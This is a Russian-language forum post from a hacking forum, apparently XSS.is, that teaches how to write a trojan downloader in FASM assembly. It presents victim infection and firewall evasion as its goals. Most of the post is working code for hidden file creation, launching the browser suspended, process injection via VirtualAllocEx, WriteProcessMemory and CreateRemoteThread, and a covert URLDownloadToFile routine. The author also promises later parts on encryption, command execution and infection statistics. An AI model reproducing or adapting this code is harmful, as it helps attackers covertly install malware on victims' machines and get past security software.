• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Пишем TrojanDownloader

XSSBot

Форумный бот
Пользователь
Регистрация
31.12.2005
Сообщения
1 473
Реакции
898
TrojanDownloader - именно так классифицирует Лаборатория Касперского тип
программ, о которых пойдет речь в этой статье.
TrojanDownloader - именно так классифицирует Лаборатория Касперского тип
программ, о которых пойдет речь в этой статье.

Итак, что такое downloader? Это программа, которая незаметно для
пользователя скачивает из сети другую программу и\или данные. Наибольшее
распространение программы данного класса получили у троянописателей, что
позволяет им загружать свое ПО на машины жертв.

Сама идея загрузки троянов при помощи сторонних программ не нова, как
минимум ей уже 5 лет. Но прогресс не стоит на месте, средства обеспечения
безопасности активно развиваются,и,соответственно, улучшаются downloader'ы.
От примитивных средств закачки они проделали путь до программ с развитой
структурой взаимодействия с ОС и сетью.

На данный момент функциями более-менее приличного "загрузчика" являются:
обеспечение собственной безопасности в системе, обход файерволов, загрузка
указанного файла, с последующим запуском его на выполнение.

Некоторые из существующих "загрузчиков" содержат "расширенные" функции,
например, шифрование данных, таких как адрес файла для загрузки, или,
например, получение статистики по зараженным машинам - их количество,версии
ОС и многое другое, т.е. по-сути являются некими "полу-троянами".

Но вернемся к основной функции "загрузчиков" -незаметно загрузить файл на
машину пользователя. В данной статье мы рассмотрим простой downloader,
который, однако, позволяет обойти некоторые файерволы и загрузить файл из
сети.

Выбор языка программирования пал на ассемблер, в качестве компилятора я
использовал FASM (thx Tomasz Grysztar). Предполагаю, что многие читатели не
знакомы с ассемблером, но это не беда, код получился достаточно простым,
единственное, что необходимо, чтобы понять его, это немного напрячь мозги.

В коде отсутствуют некоторые проверки на ошибки, которые, в свою очередь,
могут привести к появлению сообщения о чем-нибудь некорректном в рамках
процесса, но мне было так лень их писать

Весь код состоит из нескольких процедур, мы начнем с процедуры поиска
браузера по-умолчанию.

Для нахождения пути к браузеру нам необходимо создать файл с расширением
".htm" и использовать функцию "FindExecutable".

Создать файл можно функцией "CreateFile", которой мы передаем параметры
будущего файла - атрибут "скрытого" файла. Делать это не обязательно, но
лучше скрыть пустой файл от глаз пользователя, а еще лучше,после нахождения
пути к браузеру, удалить его.

В функцию "FindExecutable" мы передаем путь к файлу и переменную, куда
будет занесен путь к браузеру.

Код:
;-------------------------------------------------------------------------;
 ; Find Executable
  __findex:

    push  0
    push  FILE_ATTRIBUTE_HIDDEN
    push  CREATE_NEW
    push  0
    push  0
    push  GENERIC_READ
    push  filz
    call  [CreateFile]

    push  cmd
    push  0
    push  filz
    call  [FindExecutable]

    ret
 ;-------------------------------------------------------------------------;
    filz db '1.htm',0
    cmd  db 'c:\program files\internet explorer\iexplore.exe',0
 ;-------------------------------------------------------------------------;

Я назвал временный файл "1.htm", а в переменную пути на всякий случай
прописал путь по-умолчанию к IExplore. Делать это не обязательно =)

Ok, теперь дальше.

Невидимость в процессах и обход файерволов достигается путем инъекции
нашего кода в код браузера.Для этого нам необходимо открыть его в памяти на
редактирование, сделать это можно только когда процесс запущен. Но ведь
пользователь может долгое время не использовать браузер,что же нам - ждать?
Конечно нет. Мы сами запустим процесс, чем решим несколько проблем:

1. Нет необходимости ждать запуск процесса
2. Невидимость окна браузера
3. Нет необходимости получать права "SeDebug" для открытия процесса.

Последнее происходит потому, что после функции "CreateProcess" для нашего
"загрузчика" будет автоматически выставлено "PROCESS_ALL_ACCESS" , что есть
полный доступ к процессу.

Создание процесса будет идти , как я уже упомянул, через функцию
"CreateProcess", в которую мы передаем структуры "PROCESS_INFORMATION" и
"STARTUPINFO", командную строку для вызова браузера и пару опций:

1. SW_SHOW - отображение окна браузера, если этого не сделать,то, например,
"Outpost Firewall" выдаст предупреждение о запуске "скрытого" процесса.
"Как нам скрыть окно браузера?", - спросите вы. А вот для этого мы
указываем второй параметр.

2. CREATE_SUSPENDED - создать процесс приостановленным, эта опция позволит
не показывать окно браузера

Кстати, "CREATE_SUSPENDED" часто используется в троянах для обхода
файерволов,но приостановленный процесс потом зачем-то запускается. Зачем :?
Мы, естественно, не будем так поступать.

Код:
;-------------------------------------------------------------------------;
 ; Create Fake Process
  __create:

    push  pinfo
    push  sinfo
    push  0
    push  0
    push  CREATE_SUSPENDED;
    push  0
    push  0
    push  0
    push  cmd
    push  0
    mov  [sinfo.wShowWindow],SW_SHOW
    call  [CreateProcess]

    ret
 ;-------------------------------------------------------------------------;
    pinfo  PROCESS_INFORMATION
    sinfo  STARTUPINFO
 ;-------------------------------------------------------------------------;

После выполнения данной функции мы получим заполненную структуру
"PROCESS_INFORMATION", которая будет содержать хендл и PID нашего браузера.

Итак, открываем процесс с параметром "PROCESS_ALL_ACCESS", для этого в
функцию "OpenProcess" необходимо передать номер процесса из структуры
"PROCESS_INFORMATION". После чего в регистр EAX будет записан хендл
процесса.

Затем, с помощью функции "VirtualAllocEx", мы увеличиваем память нашего
процесса на необходимое нам количество,которое можно расчитать,как разность
конца и начала кода процедуры.

Далее мы пишем в выделенную память наш код благодаря функции
"WriteProcessMemory",после чего нам остается только создать удаленный поток
в контексте браузера через функцию "CreateRemoteThread".

Код:
;-------------------------------------------------------------------------;
 ; Inject Code
  __inject:

    xor  esi,esi

    push  [pinfo.dwProcessId]
    push  0
    push  PROCESS_ALL_ACCESS
    call  [OpenProcess]

    test  eax,eax
    jz    .exit
    xchg  eax,edi

    push  PAGE_EXECUTE_READWRITE
    push  MEM_RESERVE + MEM_COMMIT
    push  _download_end-_download
    push  esi
    push  edi
    call  [VirtualAllocEx]

    test  eax,eax
    jz    .close
    xchg  eax,ebp

    push  esi
    push  _download_end-_download
    push  _download
    push  ebp
    push  edi
    call  [WriteProcessMemory]

    dec  eax
    test  eax,eax
    jnz  .close
    inc  eax

    push  esi
    push  esi
    push  ebp
    push  ebp
    push  esi
    push  esi
    push  edi
    call  [CreateRemoteThread]

  .close:
    push  edi
    call  [CloseHandle]

  .exit:
    ret
 ;-------------------------------------------------------------------------;

В связи с тем, что наш код получает смещение в ходе инъекции,нам необходимо
заранее сохранить адреса вызываемых функций, причем хранить мы их будем
прямо в коде. Для сохранения мы используем вот такую процедуру:

Код:
;-------------------------------------------------------------------------;
 ; Get APIs
  __apis:

    mov edi,[MessageBox]
    mov [_MessageBox],edi

    mov edi,[LoadLibrary]
    mov [_LoadLibrary],edi

    ret
 ;-------------------------------------------------------------------------;

Т.е. адрес оригинальной функции помещаем в EDI,а оттуда в область данных.

Смещение, которое получает наш код, называется дельта-смещением, и мы
должны будем рассчитать его. Для этого существует несколько способов, я
выбрал самый распространенный =)

Код:
;-------------------------------------------------------------------------;
    call  .delta

    .delta:
    pop  ebp
    sub  ebp,.delta
 ;-------------------------------------------------------------------------;

Теперь пара слов о коде закачки файла. Я решил не особо напрягать себя и
использовал стандартную функцию "URLDownloadToFile", которая находится в
библиотеке "Urlmon.dll". Поэтому мы, перед ее вызовом,должны эту библиотеку
подгрузить.

Кстати, о вызовах функций... Передаваемые функции данные должны получать
смещение, как и сам вызов функции. Для этого мы прибавляем к ним содержимое
регистра EBP.

Итак, после того, как мы подгрузили библиотеку (не страшно, если она уже
была подгружена браузером), мы вызываем функцию "URLDownloadToFile", в
которую передаем адрес закачиваемого файла и адрес файла, куда мы все
сохраним.

Вот собственно и все премудрости.

Код:
;-------------------------------------------------------------------------;
 ; FuCkUp CoDe
  _download:

    call  .delta

  .delta:
    pop  ebp
    sub  ebp,.delta

    xor  esi,esi

   ; LoadLibrary
    lea  eax,[ebp+_urlmon]
    push  eax
    call  [ebp+_LoadLibrary]

   ; URLDownloadToFile
    push  0
    push  0
    lea  eax,[ebp+_filez]
    push  eax
    lea  eax,[ebp+_neturl]
    push  eax
    push  0
    call  [ebp+_URLDownloadToFile]

    ret

  .data:
    _LoadLibrary        dd  0
    _URLDownloadToFile  dd  0
    _urlmon  db  'urlmon.dll',0
    _neturl  db  'http://localhost/filez.txt',0
    _filez  db  'filez.txt',0

  _download_end:
 ;-------------------------------------------------------------------------;

Исходники доступны в аттаче, в скомпилированном виде эта штучка весит
всего 2048 б. Можно ее еще пожать (пароль к архиву 'cp'

Возможно в следующий раз мы поговорим о том,как улучшить этот примитивный
downloader, а точнее о шифровке пользовательских данных, выполнении команд,
отсылке статистики и построении билдера.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх